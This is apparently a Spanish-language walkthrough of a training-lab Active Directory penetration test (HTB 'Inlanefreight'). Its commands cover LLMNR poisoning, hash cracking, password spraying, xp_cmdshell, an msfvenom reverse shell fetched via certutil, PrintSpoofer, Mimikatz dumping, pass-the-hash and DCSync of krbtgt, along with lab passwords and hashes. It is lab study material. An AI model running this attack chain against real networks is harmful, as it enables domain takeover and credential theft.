Evaluación de Habilidades AD – Parte II (Inlanefreight)
🧩 Escenario
Inlanefreight nos ha contratado nuevamente para una auditoría interna completa del entorno AD.
Tenemos acceso a una máquina Parrot proporcionada por el cliente para ejecutar todos los ataques sin restricciones de sigilo.
🖥️ Conexión inicial
ssh htb-student@10.129.X.X
# Password: HTB_@cademy_stdnt!
🛰️ 1. Reconocimiento de Red
Escaneamos el rango interno:
sudo nmap 172.16.7.0/23 -sn -oA tnet
🔍 Hosts encontrados
-
172.16.7.3→ DC01 -
172.16.7.50→ MS01 -
172.16.7.60→ SQL01 -
172.16.7.240→ Nuestra Parrot
Escaneo profundo:
sudo nmap -v -A -iL hosts
🎣 2. Captura de Credenciales (LLMNR/NBT-NS Poisoning)
sudo responder -I ens224
📌 Se captura el hash NTLMv2 del usuario AB920:

Los hashes se guardan en:
/usr/share/responder/logs/

Crackeamos:
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.tx

✔ Contraseña encontrada: weasal
✔ Usuario comprometido: AB920
🪟 3. Acceso inicial (Evil-WinRM)
Conectamos
evil-winrm -i 172.16.7.50 -u ab920 -p weasal
🔐 4. Enumeración de políticas y usuarios
🔎 Política de contraseñas:
crackmapexec smb 172.16.7.3 -u AB920 -p 'weasal' --pass-pol

📌 La longitud mínima de contraseña es 1, lo cual permite password spraying.
⚡ 5. Password Spraying
Generamos lista de usuarios:
crackmapexec smb 172.16.7.3 -u ab920 -p weasal --users | tee usernames.txt
cat usernames.txt | cut -d'\' -f2 | awk '{print $1}' > valid_users.txt

Ataque:
kerbrute passwordspray -d inlanefreight.local --dc 172.16.7.3 valid_users.txt Welcome1
✔ Usuario descubierto: BR086
✔ Contraseña: Welcome1
📁 6. Enumeración SMB y extracción de secretos
Listamos recursos:
crackmapexec smb 172.16.7.3 -u ab920 -p weasal --shares

Spidering del share:
sudo crackmapexec smb 172.16.7.3 -u BR086 -p Welcome1 -M spider_plus --share 'Department Shares'
cat /tmp/cme_spider_plus/172.16.7.3.json
Descubrimos un archivo web.config con credenciales:

smbclient //172.16.7.3/Department\ Shares -U=BR086%Welcome1
smb: \> cd IT\Private\Development\
smb: \IT\Private\Development\> get web.config

✔ Usuario: netdb
✔ Contraseña: D@ta_bAse_adm1n!
🛢️ 7. Acceso al SQL Server (mssqlclient.py)
python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py netdb:'D@ta_bAse_adm1n!'@172.16.7.60
Habilitamos cmdshell:
enable_xp_cmdshell
xp_cmdshell whoami /priv

📌 Tiene SeImpersonatePrivilege → vulnerable a PrintSpoofer.
🖨️ 8. Escalada a SYSTEM (PrintSpoofer)
Como vemos tiene las vulnerabilidades CVE-2021-34527 / CVE-2021-1675
rpcdump.py @172.16.7.60 | egrep 'MS-RPRN|MS-PAR'

Creamos payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.7.240 LPORT=8080 -f exe > rshell.exe
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
scp PrintSpoofer64.exe htb-student@10.129.177.180:/home/htb-student/
# Iniciar servidor web
python3 -m http.server 8000
Subimos herramientas vía certutil:
-- Descargar PrintSpoofer
EXEC xp_cmdshell 'certutil -urlcache -f http://172.16.7.240:8000/PrintSpoofer64.exe C:\Users\Public\PrintSpoofer64.exe';
-- Descargar reverse shell
EXEC xp_cmdshell 'certutil -urlcache -f http://172.16.7.240:8000/rshell.exe C:\Users\Public\rshell.exe';
-- Verificar que se descargaron
EXEC xp_cmdshell 'dir C:\Users\Public\*.exe';

# En otra terminal, iniciar msfconsole
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.7.240
set LPORT 8080
run
Ejecutamos:
-- Ejecutar PrintSpoofer para obtener shell como SYSTEM
EXEC xp_cmdshell 'C:\Users\Public\PrintSpoofer64.exe -c "C:\Users\Public\rshell.exe"';
🎉 Obtenemos SYSTEM.

🧪 9. Mimikatz / Kiwi – Volcado de credenciales
En meterpreter:
# Cargar Mimikatz
load kiwi
# Volcar credenciales
lsa_dump_sam
lsa_dump_secrets
lsa_dump_creds
# O volcar todos los hashes
hashdump
✔ Conseguimos hash NTLM del Administrador.

🪟 10. Movimiento lateral hacia MS01
evil-winrm -i 172.16.7.50 -u administrator -H bdaffbfe64f1fc646a3353be1c2c3c99
🧬 11. Enumeración de ACLs con PowerView
use exploit/windows/smb/psexec
set lhost 172.16.7.240
set rhosts 172.16.7.50
set smbuser administrator
set smbpass 00000000000000000000000000000000:bdaffbfe64f1fc646a3353be1c2c3c99
exploit
Invoke-WebRequest -Uri "http://172.16.7.240:8000/PowerView.ps1 " -OutFile "C:\PowerView.ps1"
. C:\PowerView.ps1
Listamos los usuarios que tienen GenericAll sobros el grupo Domain Admin
Get-DomainObjectAcl -ResolveGUIDs -Identity "CN=Domain Admins,CN=Users,DC=inlanefreight,DC=local" | Where-Object { $_.ActiveDirectoryRights -like "*GenericAll*" }
El SID corresponde al usuario:
ConvertFrom-SID "S-1-5-21-3327542485-274640656-2609762496-4611"
✔ Usuario: CT059
✔ Tiene GenericAll sobre Domain Admins → crítico.
🧲 12. Captura de hash NTLMv2 con Inveigh
evil-winrm -i 172.16.7.50 -u administrator -H bdaffbfe64f1fc646a3353be1c2c3c99
upload /home/htb-student/Inveigh.ps1
Import-Module .\Inveigh.ps1
Para ver hashes
Get-Inveigh -NTLMv2Unique
Obtenemos el hash de CT059:

Crackeamos:
hashcat -m 5600 ct059_clean.hash /usr/share/wordlists/rockyou.txt --force
Contraseña crackeada

✔ Contraseña: charlie1
🪟 13. Acceso RDP vía ProxyChains (opcional pero cómodo)
Configuramos túnel SOCKS:

Conectamos
ssh -D 9050 htb-student@10.129.177.180
RDP:
proxychains xfreerdp /v:172.16.7.50 /u:CT059 /p:charlie1 /d:inlanefreight.local /dynamic-resolution /drive:Shared,//home/kali/mimikatz

👑 *14. Elevación a Domain Admin
Net group “domain admins” ct059 /add /domain

🏰 15. Compromiso final – Control total del dominio
Conexión al DC01:
$cred = New-Object System.Management.Automation.PSCredential("INLANEFREIGHT\CT059", (ConvertTo-SecureString "charlie1" -AsPlainText -Force))
Enter-PSSession -ComputerName DC01 -Credential $cred
O de esta manera
python3 /usr/share/doc/python3-impacket/examples/psexec.py INLANEFREIGHT/CT059:charlie1@172.16.7.3
Descargamos Mimikatz:
python3 -m http.server 8000
Invoke-WebRequest -Uri "http://172.16.7.240:8000/x64/mimikatz.exe" -OutFile "C:\Windows\Temp\mimikatz.exe"
Ejecutamos DCSync:
C:\Windows\Temp\mimikatz.exe
# En Mimikatz:
privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:krbtgt
Y obtenemos el hash ntl de krbgt

🎉 Hash NTLM del KRBTGT obtenido → Golden Ticket → Dominio totalmente comprometido.
Referencias
🌐 1.2 Escanear una red
🔐 Enumerar y Recuperar Políticas de Contraseña
🔐 Password Spraying desde Linux
🔍 Búsqueda de credenciales en Linux
🟩 Ataques a Bases de Datos SQL (MySQL & MSSQL)
🩸 Vulnerabilidades del borde sangrante#🖨️ PrintNightmare
🔍 ACL Enumeration
🪟 LLMNR & NBT-NS Poisoning desde Windows (Inveigh)
[[🧭 Dynamic Port Forwarding con SSH & SOCKS (Pivoting)#🚀 Dynamic Port Forwarding (-D) con SSH]]